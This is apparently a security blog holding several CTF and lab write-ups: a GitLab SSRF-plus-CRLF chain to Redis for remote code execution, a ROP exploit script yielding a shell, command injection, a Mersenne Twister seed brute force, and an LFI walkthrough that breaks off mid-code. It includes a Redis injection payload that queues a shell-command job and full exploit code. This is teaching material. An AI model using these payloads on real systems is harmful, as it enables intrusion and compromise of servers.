Friday 4 January 2019

Chaining 2 low impact bugs into Gitlab RCE. Real World CTF 2018 - Flaglab write-up.

Standard

Real World CTF

Recently my team and I went to Zhengzhou, China for Real World CTF event.
Organisation and venue were truly amazing. The format of the competition was a bit different from standard jeopardy-style. There was this not so popular concept of showing exploits on stage. To get points awarded, you had to pop calc or show that you control the device you were hacking into. I really liked that idea. As we all know, those competitions usually are not the most attractive for viewers.
Real World CTF’s approach to this seems to be step in the right direction as far as viewership goes. Exploit presentations is something that viewers can sweat over and cheer for.

As far as challenges go, there were very interesting although very hard, mostly consisted of slightly modified versions of real world applications like vmware, windows.

Some of them even used non-modified versions of real life software, eg. there were tasks with newest router, camera firmware.
I described one of the challenges below.

Chaining 2 low/medium impact bugs into RCE

Although we didn’t solve this task during the CTF (we figured the solution 15 minutes before the end of CTF but didn’t manage to implement in time), the challenge was lots of fun, so I was determined to finish it later on my own. Finally found some time to do so.

Task

Task consisted of only two files:

docker-compose.yml

web:
  image: 'gitlab/gitlab-ce:11.4.7-ce.0'
  restart: always
  hostname: 'gitlab.example.com'
  environment:
    GITLAB_OMNIBUS_CONFIG: |
      external_url 'http://gitlab.example.com'
      redis['bind']='127.0.0.1'
      redis['port']=6379
      gitlab_rails['initial_root_password']=File.read('/steg0_initial_root_password')
  ports:
    - '5080:80'
    - '50443:443'
    - '5022:22'
  volumes:
    - '/srv/gitlab/config:/etc/gitlab'
    - '/srv/gitlab/logs:/var/log/gitlab'
    - '/srv/gitlab/data:/var/opt/gitlab'
    - './steg0_initial_root_password:/steg0_initial_root_password'
    - './flag:/flag:ro'

reset.sh

#!/bin/sh
echo -n \`head -n1337 /dev/urandom | sha512sum | cut -d' ' -f1\` > steg0\_initial\_root_password
Description went something along the lines of: “You may need an 0day”.
So… we had docker-compose that builds gitlab version 11.4.7-ce.0, which at the time of the event was actually second latest, there was some release 5 days before the competition. From docker-compose we can also see that the flag is in filesystem under /flag.

At first we thought the description was just a standard teaser, but after briefly looking at the challenge we knew it may actually be the case.

The only other thing that could be flawed other than gitlab itself is the way of generating initial_root_password. Which unfortunately I don’t believe is the case (at least to my knowledge).

Clues

Some time later we stumbled upon gitlab blog post describing security issues fixed in the latest release https://about.gitlab.com/2018/11/28/security-release-gitlab-11-dot-5-dot-1-released/.
There was plenty to choose from, our attention was grabbed by one of them which was reported by employee of Chaitin Tech, organizers of the CTF.



We started to look for any service that is accessible from localhost only and could lead to Arbitrary File Read or RCE.
Such service happens to be redis. This vector was already used in the past, you can read up on it in this gitlab issue.
Redis accepts commands in a line based format. There was only one problem - we couldn’t break lines in Webhooks URLs.
We looked at the blogpost once again.





This looks promising, but it affects different part of code, project mirroring is not Webhooks functionality, or is it?
Thanks to Gitlab being open source software, and the fact that the new version was already released, we knew somewhere in the github repository we would find a patch.
Indeed, we can find both of the bugs fixes.

SSRF: https://github.com/gitlabhq/gitlabhq/commit/a9f5b22394954be8941566da1cf349bb6a179974

CRLF: https://github.com/gitlabhq/gitlabhq/commit/c0e5d9afee57745a79c072b0f57fdcbe164312da

Looking at the SSRF fix, we realized that the code which checks for loopback/local URLs is actually code placed in shared utils, which Project Mirroring uses as well.

At this point, there were about 15 minutes left of the CTF, we had all the parts needed to create exploit, but just not enough time to implement it.

Exploiting

Knowing all of the above, we can put all the pieces together to create an exploit:

Use SSRF to access redis in Project Mirroring functionality
(/<namespace>/<projectname>/settings/repository#js-push-remote-settings)
Finding out what works is as simple as looking at the tests written to check for the bug after the fix was deployed.
  it 'returns true for loopback IPs' do
      expect(described_class.blocked_url?('https://[0:0:0:0:0:ffff:127.0.0.1]/foo/foo.git')).to be true
      expect(described_class.blocked_url?('https://[::ffff:127.0.0.1]/foo/foo.git')).to be true
      expect(described_class.blocked_url?('https://[::ffff:7f00:1]/foo/foo.git')).to be true
      expect(described_class.blocked_url?('https://[0:0:0:0:0:ffff:127.0.0.2]/foo/foo.git')).to be true
      expect(described_class.blocked_url?('https://[::ffff:127.0.0.2]/foo/foo.git')).to be true
      expect(described_class.blocked_url?('https://[::ffff:7f00:2]/foo/foo.git')).to be true
  end
Use CRLFs to inject redis commands.
Which is as simple as adding \n to our URL.
  shared_context 'invalid urls' do
        let(:urls_with_CRLF) do
          ["http://127.0.0.1:333/pa\rth",
           "http://127.0.0.1:333/pa\nth",
           "http://127.0a.0.1:333/pa\r\nth",
           "http://127.0.0.1:333/path?param=foo\r\nbar",
           "http://127.0.0.1:333/path?param=foo\rbar",
           "http://127.0.0.1:333/path?param=foo\nbar",
           "http://127.0.0.1:333/pa%0dth",
           "http://127.0.0.1:333/pa%0ath",
           "http://127.0a.0.1:333/pa%0d%0th",
           "http://127.0.0.1:333/pa%0D%0Ath",
           "http://127.0.0.1:333/path?param=foo%0Abar",
           "http://127.0.0.1:333/path?param=foo%0Dbar",
           "http://127.0.0.1:333/path?param=foo%0D%0Abar"]
        end
      end
Looking at the issue I mentioned earlier we arrive at payload that looks like this:
git://[0:0:0:0:0:ffff:127.0.0.1]:6379/

multi

sadd resque:gitlab:queues system_hook_push

lpush resque:gitlab:queue:system_hook_push "{\"class\":\"GitlabShellWorker\",\"args\":[\"class_eval\",\"open(\'|whoami > /tmp/a \').read\"],\"retry\":3,\"queue\":\"system_hook_push\",\"jid\":\"4552c3b1225428b18682c901\",\"created_at\":1513714403.8122594,\"enqueued_at\":1513714403.8129568}"

exec

exec
Putting that in mirror functionality results in a 500 returned from gitlab. This happens due to gitlab trying to render our URL and in failing to do so, refusing to respond with anything meaningful.
That’s not helpful given that we still need to trigger the mirror by clicking the little refresh button (or just sending POST to update_now?sync_remote=true)


Doing the latter gives us full RCE.
Exploit can be found over here: https://gist.github.com/hub2/4f4def586d58f93cc78b8c4ffccc18f3
Because there could exist some vulnerable gitlab on the web at the moment of writing this, code has been slightly bugged to prevent skids from using it.

Extracting the flag

That’s where pwning real gitlab system would probably end.

However, Real World CTF network infrastructure routing didn’t allow any connections initiated by gitlab host to LAN or Internet.

To extract the flag, you could use some part of the gitlab interface (icons,popups) to inject flag into it and then read it.

Summary

The one thing that I realized solving this challenge is that it’s really hard to estimate what is the real impact of the vulnerability. Multiple vulnerabilities chained can be used to achieve far more than using only one at a time and as far as I know no one keeps track of that.
As presented above, we leveraged two bugs that only chained together matter. This can also work across software, multiples CVE’s with low severity in separate software could result in high severity vulnerability combined.

Does there or should exist database of vulnerabilities that consist of existing ones but combined in some way? Could that enable us to check whole system for higher severity vulnerabilities not just every piece of software individually?

Thursday 15 June 2017

Writing plugins in Python

Standard
The advantage of dynamically typed language is that it's much easier to write some code that dynamically loads another code and uses it. The downside of lack of types is that it's harder to enforce the contract on the loaded code. There are ways around that and this post is about that. How to write a simple plugin system in your application, shown on an example.


MessengerAssistant

I just wrote a simple plugin driven Messenger Assistant. It's a bot that listens to your messages when you chat on Messenger and can execute commands based on that. It uses fbchat package from pypi. The simplest example would be:

- Command time, which gives prints to us current time.
In prototype version, it was just big if/elif statement to decide if the message is a command and if we need to reply to it. I wanted to do something more powerful and modular.

Plugin driven MessengerAssistant

I started off by doing a base for plugin, some template that every plugin has to follow to be compatible with my bot. If it was C# or Java, we would use interfaces which would enforce existence of some methods that we could later use. Python does not have an idea of interfaces, but it does provide module called abc(Abstract Base Classes).
Our AbstractPluginBase could look like this:

import abc


class AbstractPluginBase:
    __metaclass__ = abc.ABCMeta

    @abc.abstractmethod
    def __init__(self):
        pass

    @abc.abstractmethod
    def check_pattern(self, message): 
        # Check if we should handle this message
        return False

    @abc.abstractmethod
    def handle_message(self, message):
        # Handle the message
        return ""


abc works by using metaclass, class that sole purpose is to create classes(don't mix that with instances of classes). This use of abc works like interfaces, classes dervied from AbstractPluginBase must implement those three methods(__init__ exists by default so we won't see it implemented in concrete plugins, I added it so it is impossible to change initialization, which will be helpful later on).


Then in plugins/ python package(which means that there is __init__.py file inside) I wrote some example plugins like the time one you saw above

import time

from plugin_base import AbstractPluginBase


class TimePlugin(AbstractPluginBase):
    def check_pattern(self, message):
        if message == "time":
            return True
        else:
            return False

    def handle_message(self, message):
        return time.ctime()

As simple as that, the last missing piece is loading all the modules in plugins/ directory, for that I needed to bind all of the files inside plugins/ to plugins module. So __init__.py contains:

import glob
from os.path import dirname, basename, isfile

modules = glob.glob(dirname(__file__) + "/*.py")
__all__ = [basename(f)[:-3] for f in modules if isfile(f) and not f.endswith('__init__.py')]

Iterating over all files in directory, adding them to the package.

At this points we have plugins package that we can load from, last thing to do is to load all of the modules and get instances of them, in doing that we have to remember to only load subclasses of AbstractPluginBase, cause some plugins can use other classes for their implementations.

import inspect
import importlib


import plugins

class PluginLoader:
    @staticmethod
    def get_all_plugins():
        plugins_classes = []
        # Load all modules
        for module in [importlib.import_module("plugins." + x) for x in plugins.__all__]:
            # Get only subclasses of AbstractPluginBase
            plugins_classes += inspect.getmembers(module, PluginLoader.is_plugin)
        # Return instances of the classes
        return [(x[0], x[1]()) for x in plugins_classes]

    @staticmethod
    def is_plugin(object):
        return inspect.isclass(object) and issubclass(object, AbstractPluginBase) and object is not AbstractPluginBase

We had to use some reflection here, to check types of members of modules, so that we only get classes that satisfy three conditions: object is a class, object is a subclass of AbstractPluginBase and object is not AbstractPluginBase itself.
Then if we want to use the plugins, we just iterate over them and check if given plugin is able to handle given message.

for plugin in self.plugins:
    name, plugin_inst = plugin
    if plugin_inst.check_pattern(message):
        if self.debug:
            print("%s is handling the message" % name)
        output = plugin_inst.handle_message(message)
        self.send(send_id, output, is_user=is_user)

It wasn't so hard, was it? Python is really powerful when it comes to reflection and inspecting itself at runtime which gives us a lot of control when we know what we are doing.

I added some plugins like getting current value of my cryptocurrencies if I were to sell them at the current price at the exchange.

Full source code: https://github.com/hub2/Messenger-Assistant


Thursday 1 June 2017

Secfest write-ups

Standard
Puzzle palace - Pwn (100 + 0)
Adventure time! Find the magic bytes, kill the wizard, get all the flags!
Solves: 42
Author: likvidera
In the tar file we can find README and some libc version. README reads as follows:
Yep you only get the libc, connect to the service and go for an adventure to get the rest.
After connecting to the service, we've got:


and


We can notice that the magic bytes start with 7F454C46 => which is "\x7FELF", magic number for ELF executable file format. Going down(pressing 2) is showing us the next parts of the file. We need a script to dump it all.
from telnetlib import Telnet
import binascii
output = b""
with Telnet("pwn.ctf.rocks", 6666) as tn:
    tn.read_until(b"shame\n")
    tn.write(b"1\n")
    last_data = 0
    while True:

        out = tn.read_until(b"Down\n")
        print (len(out))
        tn.write(b"2\n")
        if len(out)!=224 and len(out)!=253: #last_data == data:
            print (out)
            break
        data = out.split(b"[")[1].split(b"]")[0]
        output+=data

        print (data)
        last_data = data

print (output)
bin_out = binascii.unhexlify(output)
open("out_bin", "wb").write(bin_out)

I've used telnetlib, it worked like a charm, after analysing the binary, it turns out that it is the same binary that is currently running on the server, we can investigate what exactly is going on. Interesting parts are:


Putting in 'Z' instead of number, can leak us system function address, this will be useful due to fact that ASLR on the remote machine is enabled.


We also found the correct bytes to trigger buffer overflow at the bottom of the screen, buf is small buffer, 20 bytes in size.
Given all that, all we needed to do was a ROPchain that gives us shell. We used system address to get libc base address, and from that we can calculate all gadgets addresses. I used only one, "pop rdi", and one address for "sh\0" string.
So my notes are:
system offset: 0x45390 
pop rdi offset: 0x21102 
"sh" offset: 0x11e70
Final exploit used this chain:
&pop rdi;
&"sh"
&system

Here is the final exploit:
from __future__ import print_function
from telnetlib import Telnet
from pwn import *
import binascii
output = b""
sys_off = 0x45390
pop_rdi_off = 0x21102
sh_off = 0x11e70

tn = Telnet("pwn.ctf.rocks", 6666)
#tn = Telnet("localhost", 4444)

tn.read_until(b"shame\n", 10)
tn.write(b"Z\n")
addr = tn.read_until(b"shame\n", 10)
addr = addr.split(b"\n")[1][:-1].split(b":")[1]
addr_int = int(addr, 16)
system = addr_int

base_libc =  system - sys_off
pop_rdi = base_libc + pop_rdi_off
sh = base_libc + sh_off

print(hex(base_libc))
print(hex(pop_rdi))
print(hex(sh))
print(hex(system))
payload = b"A"*24 +b"BBBBBBBB"+b"CCCCCCCC"+ p64(pop_rdi) + p64(sh) + p64(system) + b"\n"

tn.write(b"2\n")
tn.read_until(b"bytes: ", 10)
tn.write(b"1337p0werOverWhelMing1337\n")
tn.read_until(b"now!: ", 10)
print(payload)
tn.write(payload)
tn.interact()

tn.close()
We got the shell and the flag, yeah!



Empty - Misc (100 + 0)
Some suspicious character left this laying around on our system , seems to be empty.
Solves: 121
Author: d3vnu11

We get pdf file that looks blank. I used pdf-parser, it can be found in the kali linux, or downloaded from here: https://blog.didierstevens.com/programs/pdf-tools/
It found some objects, where one of them looked like this:


I must admit that I have no idea how pdf inner workings actually work, but it looked to me like ascii range, so I just converted it in python and it turned out to be the flag...
Python 2.7.12 (default, Nov 19 2016, 06:48:10) 
[GCC 5.4.0 20160609] on linux2
Type "help", "copyright", "credits" or "license" for more information.
>>> a = "83 67 84 70 123 115 116 114 52 110 103 51 95 111 98 106 51 99 116 95 99 104 114 95 49 110 95 112 108 52 49 110 95 115 49 116 51 125"
>>> "".join([chr(int(c)) for c in a.split()])
'SCTF{str4ng3_obj3ct_chr_1n_pl41n_s1t3}'

Ping - Pwn (50 + 0)
A simple ping-service for sysadmins, what could go wrong!?
Solves: 91
Author: likvidera

We are provided with a binary file.
Service is behaving as shown on the image:


As you can see, the first thing I tried was simple command injection, it turns out that the service does some sort of validation, after looking at it in disassembler, we know that the only characters that we can use are numbers, dots and a new line. Further investigation shows that the buffer that is used for login and getting IP for pinging when 2) Ping is chosen is the same.
So we could put our command incjection in the username field, there is no validation.
There is one problem tho, we can't ping until we Set IP, setting IP clears the buffer first, even if we don't provide any input to it. Also we can't just ping because we have check in code for not null value of allocated buffer for IP address.

It can be hard to explain, I recommend analysing the binary yourself, after all the solution was to initialize the pointer, then exit, set new username as a command injection and ping which would trigger our injection. Like so:



Signal - Rev (100 + 0)
Hey... My boss told me to reverse this program but I dont understand anything!!! wtf is PIE? Sooo annoying~
Solves: 40
Author: deep

We're given a binary. After running it we can see that it takes our input and depending on that prints if the flag is correct. Few minutes of analysis yields that there is some code that is unpacked by the binary and then run.


From another part of the binary it was clear that we have to get into the first branch of the if statement. I used gdb to let the binary unpack itself.


After stepping a bit through the code in debugger, we can see that this code is just doing simple xoring of our input with 0xde and then comparing it to some memory contents. Let's see with what exactly.


So I just xored those bytes with 0xde and got the flag: SCTF{early_early_sunday_morning?}


Qr code madness - Misc (200 + 0)
Random pictures, this do not make sense
Solves: 55
Author: d3vnu11

In the zip file there are 114 images with qr codes on them.
I quickly checked few of them at random with zbarimg utility, which can transform QR-images into text. All of those images encode one character only. The only thing we needed to figure out was the order in which we have to read them, I tried alphabetically and by date, the second way was the correct one.
ls -tr | xargs zbarimg
After cleaning up output a bit, we get

aC+40zqGmlLSdIJ1hY3EKoTwsrxWpkiAybPXU9Dj5veRVBHfFg6utM7QncU0NURntUaDNzM19kNG1uX1FSX2MwZDNfazMzcF9wMHAxbmdfdXB9Cg==

which looks like base64 but doesn't want to work. After a while I tried to cut some of the chars from the beginning, and with some luck, I've got the flag.


I heart cats - Misc (50 + 0)
We got this cute cat page. There is something odd in it. But I can't quite say what.
Solves: 52
Author: SecureLink / klondike
We are given index.html file with a lot of cat pictures, we can see that the index.html is formatted in a weird way, this is a hint. Highlighting tabs and spaces shows us a bit more.



I assumed that 8 spaces are 0s and tabs are 1s, this immidiately gave the flag.

asd = open("index.html", "r").read()

out = ""
i=0
while i < len(asd):
    if asd[i:i+8] == " "*8:
        out += "0"
        i+=8
        continue
    elif asd[i] == "\t":
        out += "1"
    i+=1

answer = ""
for i in range(0, len(out), 8):
    answer += chr(int(out[i:i+8], 2))

print answer

Flag: SCTF{Wh1735p4c35_4r3_84d_4u!}

Monday 22 May 2017

CONFidence conference impression + Random(crypto 100) write-up

Standard
On 18-19 May CONFidence conference took place in Cracow. This was my third IT conference and second cybersecurity con in my life. CONFidence is a con with a long tradition, the biggest cybersecurity meeting of specialist in Poland every year.

Venue

This year it gathered around 800 people, which was awesome on one hand and pretty frustrating at times on the other. There were two tracks, most of the topics were pretty interesting. The problem was that sometimes rooms, especially the one for Track 2, couldn't handle amount of people, considering amount of space and AC. That, and lines for lunch were the only things that were not ideal. Talks were great, I enjoyed the one by @AdamLangePL the most. It was about JavaScript battle between banks and black hats.






Community Corner

On the side of the main tracks, there was something called community corner, it consisted of lightning talks mostly done by http://sekurak.pl and http://niebezpiecznik.pl. They had their stands with riddles and miniCTF, which I was able to solve and win a t-shirt from sekurak on the second day(yey!). 

Chill zone
niebezpiecznik's riddles - you could have won a YubiKey




CTF

As always on CONFidence, there was CTF organised by DragonSector, unfortunately taking part in CTF means that you are not able to watch talks and enjoy everything else about the conference. That's normal due to the fact that solving CTF challenges is really hard and time consuming.
I looked at some of the tasks during the lunch breaks, after first day downloaded some of the files, binaries to look at them in the hotel. The only task that I managed to solve was Random, which is probably on of the easiest tasks in the entire CTF, you can find write-up below. Level of challenges was really high. The most amazing task was probably the one when you were able to hack into drone that was standing inside the cage near the contestants.







To sum up I think that visiting such conferences can really profit in your skill set, as well as motivation to further work and research, eg. right now I'm working on RPi Zero to behave like HID device with OS fingerprinting. There were some guys that wrote pretty complex tool to do exactly that, and a lot more!
Also I got motivated to find/create CTF team for an offline events, maybe we'll join the CTF contest on CONFidence next year, see you then!

Random write-up

We were given random.cpp file and an IP to connect with the netcat to.

random.cpp
#include <fstream>
#include <iomanip>
#include <iostream>
#include <random>
#include <string>

using std::cin;
using std::cout;
using std::endl;
using std::ifstream;
using std::string;

[[noreturn]] void fatal_error(const string& msg)
{
 cout << msg << endl;
 exit(0);
}

class RandStream
{
 std::random_device rd;
 std::mt19937 gen;

public:
 RandStream() : rd(), gen(rd()) {}

 unsigned int NextUInt()
 {
  return gen();
 }
};

int main()
{
 cout << "Let's see if you can predict Mersenne Twister output from just"
      << " six values!" << endl;
 cout << "btw. You have only 5 seconds." << endl;

 RandStream rand{};
 for (int i = 0; i < 6; i++)
  cout << std::hex << std::setfill('0') << std::setw(8) << rand.NextUInt()
       << endl;

 for (int i = 0; i < 5; i++)
 {
  unsigned int num;
  cin >> std::hex >> num;
  if (num != rand.NextUInt())
   fatal_error("Wrong!");
 }

 cout << "Good work!" << endl;

 ifstream f("flag.txt");
 string flag;
 f >> flag;
 if (f.fail())
  fatal_error("Reading flag failed, contact admin");
 cout << flag << endl;
}



After examining the file we see what the task is, given 6 numbers we have to predict what the next 5 will be generated from the Mersenne Twister(19937)

We can determine the state of Mersenne Twister given 624 consecutive numbers, here we are provided with only 6, there is no way we can get the whole state of the generator.
The one thing we need to know is that std::mt19937 can be seeded in two ways, one of them is a single unsigned int, the other one is std::seed_seq, as it runs out, std::random_device is not perfect for seeding, the name is a little misleading given that the std::random_device can be implemented to produce the same input on every run, and can be fully deterministic. You can read more here: http://www.pcg-random.org/posts/cpps-random_device.html

It turns out we have only 32bits of entropy which means 2**32 of different seeds. This is bruteforceable to same extent, generating all the 6 number sequences would take around 188GB. We don't need all of them to solve the task. I've generated only 10% of the 32bit range and run the get_flag.py many times.
Generating numbers took around 2hours, running get_flag.py, was successful after ~20 tries or so.

gen_solution.cpp - generate 10% of the range and save it
#include <random>
#include <sys/types.h>
#include <sys/stat.h>
#include <fcntl.h>
#include <cstdio>
#include <unistd.h>

int main()
{
 int f = open("generated.txt", O_CREAT | O_APPEND | O_WRONLY);
 unsigned int tab[6*10000];
 int k =0;
 for (unsigned int i = 0; i < 429596799; i++)
 {
  std::mt19937 gen(i);
  if(k==10000) 
  { 
   write(f, &tab, sizeof(tab));
   k = 0;
  }
  for(unsigned int j=0;j<6;j++)
  {
   tab[j + k*6] = gen();
  }
  k++;

 }
}

find_match.c - fast finding matching six numbers (grep, bgrep, ... were to slow)
#include <stdio.h>
#include <string.h>
#include <sys/types.h>
#include <unistd.h>
#include <sys/stat.h>
#include <fcntl.h>
#define cacheSize (24*1000*1000)
char fileBuf[cacheSize];

int main()
{
 int pattern = open("pattern", O_RDONLY);
 int file = open("generated.txt", O_RDONLY);

 unsigned int fileSize = lseek(file, 0, SEEK_END);
 unsigned int off = 0;

 char patternBuf[24];

 read(pattern, patternBuf, sizeof(patternBuf));
 unsigned int patternFirst = *((unsigned int*)patternBuf);

 while(off < fileSize)
 {
  lseek(file, off, SEEK_SET);
  read(file, fileBuf, cacheSize);
  for(int i=0; i<cacheSize/24;i++)
  {
   if (*((unsigned int*)(fileBuf + i*24)) != patternFirst) {
    off+=24;
    continue;
   }
   if (memcmp(fileBuf+i*24, patternBuf, 24) == 0)
   {
    printf("%d", off);
    return 0;
   }
   off = lseek(file, off, SEEK_CUR);
  }
 }
 puts("no match");
}

find_next_5.cpp - given the seed, discard 6 and generate next 5 numbers from the PRNG
#include <fstream>
#include <iomanip>
#include <iostream>
#include <random>
#include <string>

using std::cin;
using std::cout;
using std::endl;
using std::ifstream;
using std::string;

int main(int argc, char *argv[])
{
 unsigned int seed = atoi(argv[1]);

 std::mt19937 gen(seed);
 for(int i=0;i<6;i++) gen();
 for(int i=0;i<5;i++) printf("%x\n", gen());
}

get_flag.py - wrapper on all of the above, and communication with the server
from pwn import *
import sys
import random
from subprocess import check_output
import binascii
import random

def bintohex(s):
    return ''.join([ "%x"%string.atoi(bin,2) for bin in s.split() ])

r = remote("random.hackable.software", 1337)
r.recvline()
r.recvline()

out = []
for i in range(6):
    number = int(r.recvline()[:-1], 16)
    out.append(p32(number))

sixn = b"".join(out)
open("pattern", "wb").write(sixn)
o = check_output(['./find_match'])

if "no" in o:
 sys.exit(0)

seed = int(o)/24
print "Seed: %d" % seed


o = check_output(['./find_next_5', str(seed)])

r.sendline(str(o))
r.interactive()

After running:
while true; do python get_flag.py; done
and waiting like 10 seconds, we got the flag, unfortunately I don't have it right now.

Thursday 13 April 2017

Vulnhub 1: Ew_Skuzzy

Standard

Me and few of my friends were asked to test some vulnerable environment that will be used as a playground for students, it was a lot of fun and motivated me to do some vulnhub.com in free time.

That's my first write-up on the vulnhub machines, let me know if the description is good enough.

1. Reconnaissance

Running the machine gives us the IP of our target 192.168.1.111

Let's see what basic nmap scan can show us:
→ nmap -T4 -sV 192.168.1.111

Starting Nmap 7.01 ( https://nmap.org ) at 2017-04-13 10:50 CEST
Nmap scan report for skuzzy (192.168.1.111)
Host is up (0.0011s latency).
Not shown: 997 closed ports
PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 7.2p2 Ubuntu 4ubuntu2.1 (Ubuntu Linux; protocol 2.0)
80/tcp   open  http    nginx
3260/tcp open  iscsi?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 95.19 seconds

2. First flag

We can see 3 open ports, I've started from the last one. I have to admit that I've never used iscsi before, but after a bit of googling, I've successfully connected to and mounted the shares.
→ sudo iscsiadm -m discovery -t st -p 192.168.1.111
192.168.1.111:3260,1 iqn.2017-02.local.skuzzy:storage.sys0

→ sudo iscsiadm -m node --login
Logging in to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.111,3260] (multiple)
Login to [iface: default, target: iqn.2017-02.local.skuzzy:storage.sys0, portal: 192.168.1.111,3260] successful.

→ cd /media/e0ca44be-b1ed-403a-84bd-db5558d6bb7e
→ ls
bobsdisk.dsk  flag1.txt  lost+found

→ cat flag1.txt
Congratulations! You've discovered the first flag!

flag1{c0abc15976b98a478150c900ebb0c86f0327f4dd}

Let's see how you go with the next one...

3. Second flag

That was pretty straight forward, there was no vulnerability to exploit, as was the second flag, we can see that our mounted share contains bobdisk.dsk, we can mount that as well.

→ sudo mount bobsdisk.dsk /media/bobsdisk
→ cd /media/bobsdisk
→ ls -la
total 21
drwxr-xr-x   3 root root  1024 mar 14 10:56 .
drwxr-x---+ 10 root root  4096 kwi 13 11:04 ..
drwx------   2 root root 12288 lut 28 09:56 lost+found
-rw-r--r--   1 root root   288 lut 28 10:25 ToAlice.csv.enc
-rw-r--r--   1 root root  2517 mar 14 10:56 ToAlice.eml

ToAlice.eml
G'day Alice,

You know what really annoys me? How you and I ended up being used, like some kind of guinea pigs, by the RSA crypto wonks as actors in their designs for public key crypto... I don't recall ever being asked if that was ok? I never got even one cent of royalties from them!? RSA have made Millions on our backs, and it's time we took a stand!

Starting now, today, immediately, I'm never using asymmetric key encryption again, and it's all symmetric keys from here on out. All my files and documents will be encrypted with that popular symmetric crypto algorithm. Uh. Yeah, I can't pronounce its original name. I don't even know what the letters in its other name stand for - but really - that's not important. A bloke at my local hackerspace says its the beez kneez, ridgy-didge, real-deal, the best there is when it comes to symmetric key crypto, he has heaps of stickers on his laptop so I guess it means he knows, right? Anyway, he said it won some big important competition among crypto geeks in October 2000? Lucky Y2K didn't happen then, I suppose or that would have been one boring party!

Anyway this algorithm sounded good to me. I used the updated version that won the competition.

You know what happened to me this morning? My kids, the little darlings, had spilled their fancy 256 bit Lego kit all over the damn floor. Sigh. Of course I trod on it making my coffee, the level of pain really does ROCKYOU to the core when it happens! It's hard to stay mad though, I really love Lego, the way those blocks chain togeather really does make them work brilliantly. My favourite new Spanish swear came in handy when this happened... supercalifragilisticoespialidoso !

Anyway, given I'm not not using asymmetric crypto any longer, I destroyed my private key, so the public key you have for me may as well be deleted. I've got some notes for you which might help in your current case, I've encrypted it using my new favourite symmetric key crypto algorithm, it should be on the disk with this note. The key is, well, one awesome word I learnt in my recent Spanish classes!

Give me a shout when you're down this way again, we'll catch up for coffee (once the Lego is removed from my foot) :)

Cheers,

Bob.

PS: Oh, before I forget, the hacker-kid who told me how to use this new algorithm, said it was very important I used the command option -md sha256 when decrypting. Why? Who knows? He said something about living on the bleeding-edge...

PPS: flag2{054738a5066ff56e0a4fc9eda6418478d23d3a7f}

4. Third flag

We got the second flag! And some tips how to decrypt the ToAlice.csv.enc, that can be found in the same directory. Keywords are:

  • symmetric keys from here on out
 self explanatory

  • what the letters in its other name stand for
 AES has two names, AES and Rijndael

  •  it won some big important competition among crypto geeks in October 2000
 Rijndael did won a NIST comp in 2000

  • updated version that won the competition.
 AES has been updated in 2001

  • 256 bit Lego kit
 AES-256

  • ROCKYOU
 Maybe we should use /usr/share/wordlists/rockyou.txt from Kali Linux?

  • those blocks chain togeather really does make them work
 AES-256-CBC

  • supercalifragilisticoespialidoso
 the password?

  • -md sha256
 Used digest (-md is the openssl flag)


So we should try AES-256-CBC with SHA256 digest and password supercalifragilisticoespialidoso or rockyou.txt wordlist. I've put supercalifragilisticoespialidoso at the begginning of the rockyou.txt and run the command:

→ /tmp/bruteforce-salted-openssl/bruteforce-salted-openssl -t 4 -f ~/wordlist/rockyou.txt -c aes-256-cbc -d sha256 ToAlice.csv.enc
Warning: using dictionary mode, ignoring options -b, -e, -l, -m and -s.

Tried passwords: 1
Tried passwords per second: inf
Last tried password: iloveyou
Password candidate: supercalifragilisticoespialidoso
Tried passwords: 3475548
Tried passwords per second: 1737774,000000
Last tried password: supercalidosa
Password candidate: supercalifragilisticoespialidoso
Let's try that password:
→ openssl aes-256-cbc -d -md sha256 -in ToAlice.csv.enc -out ~/vulnhub/ew_skuzzy/ToAlice.csv
enter aes-256-cbc decryption password:

→ cd ~/vulnhub/ew_skuzzy
→ cat ToAlice.csv
Web Path,Reason
5560a1468022758dba5e92ac8f2353c0,Black hoodie. Definitely a hacker site! 
c2444910794e037ebd8aaf257178c90b,Nice clean well prepped site. Nothing of interest here.
flag3{2cce194f49c6e423967b7f72316f48c5caf46e84},The strangest URL I've seen? What is it?

4. Fourth flag

It worked! We got 3 flags so far, and even more hints for the next steps.

http://192.168.1.111/5560a1468022758dba5e92ac8f2353c0/ 
It does not look interesting in any way, we got some base64ed reference to Seinfield TV series, transcript of the dialog: https://www.youtube.com/watch?v=lgC7z_vR78U


http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=welcome
This one is a lot more interesting, we got a GET parameter, my first guess was LFI, it was correct.
http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=php://filter/convert.base64-encode/resource=flag.php
After decoding the base64, we get:

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Flag</h1>
<p>Hmm. Looking for a flag? Come on... I haven't made it easy yet, did you think I was going to this time?</p>
<img src="trollface.png" />
<?php
// Ok, ok. Here's your flag!
//
// flag4{4e44db0f1edc3c361dbf54eaf4df40352db91f8b}
//
// Well done, you're doing great so far!
// Next step. SHELL!
//
//
// Oh. That flag above? You're gonna need it...
?>

Which gives us the 4th flag.

5. Fifth flag

Next step seems to be Feed Reader tab, it allows to read and execute any php from remote host.

http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=reader
Load Feed -> http://192.168.1.111/c2444910794e037ebd8aaf257178c90b/?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt

We extract the code with LFI once again:

<?php
defined ('VIAINDEX') or die('Ooooh! So close..');
?>
<h1>Feed Reader</h1>
<?php
if(isset($_GET['url'])) {
    $url = $_GET['url'];
} else {
    print("<a href=\"?p=reader&url=http://127.0.0.1/c2444910794e037ebd8aaf257178c90b/data.txt\">Load Feed</a>");
}

if(isset($url) && strlen($url) != '') {

    // Setup some variables.
    $secretok = false;
    $keyneeded = true;

    // Localhost as a source doesn't need to use the key.
    if(preg_match("#^http://127.0.0.1#", $url)) {
        $keyneeded = false;
        $secretok = true;
    }

    // Handle the key validation when it's needed.
    if($keyneeded) {
        $key = $_GET['key'];
        if(is_array($key)) {
            die("Array trick is mitigated ;)");
        }
        if(isset($key) && strlen($key) == '47') {
     $hashedkey = hash('sha256', $key);
            $secret = "5ccd0dbdeefbee078b88a6e52db8c1caa8dd8315f227fe1e6aee6bcb6db63656";

            // If you can use the following code for a timing attack
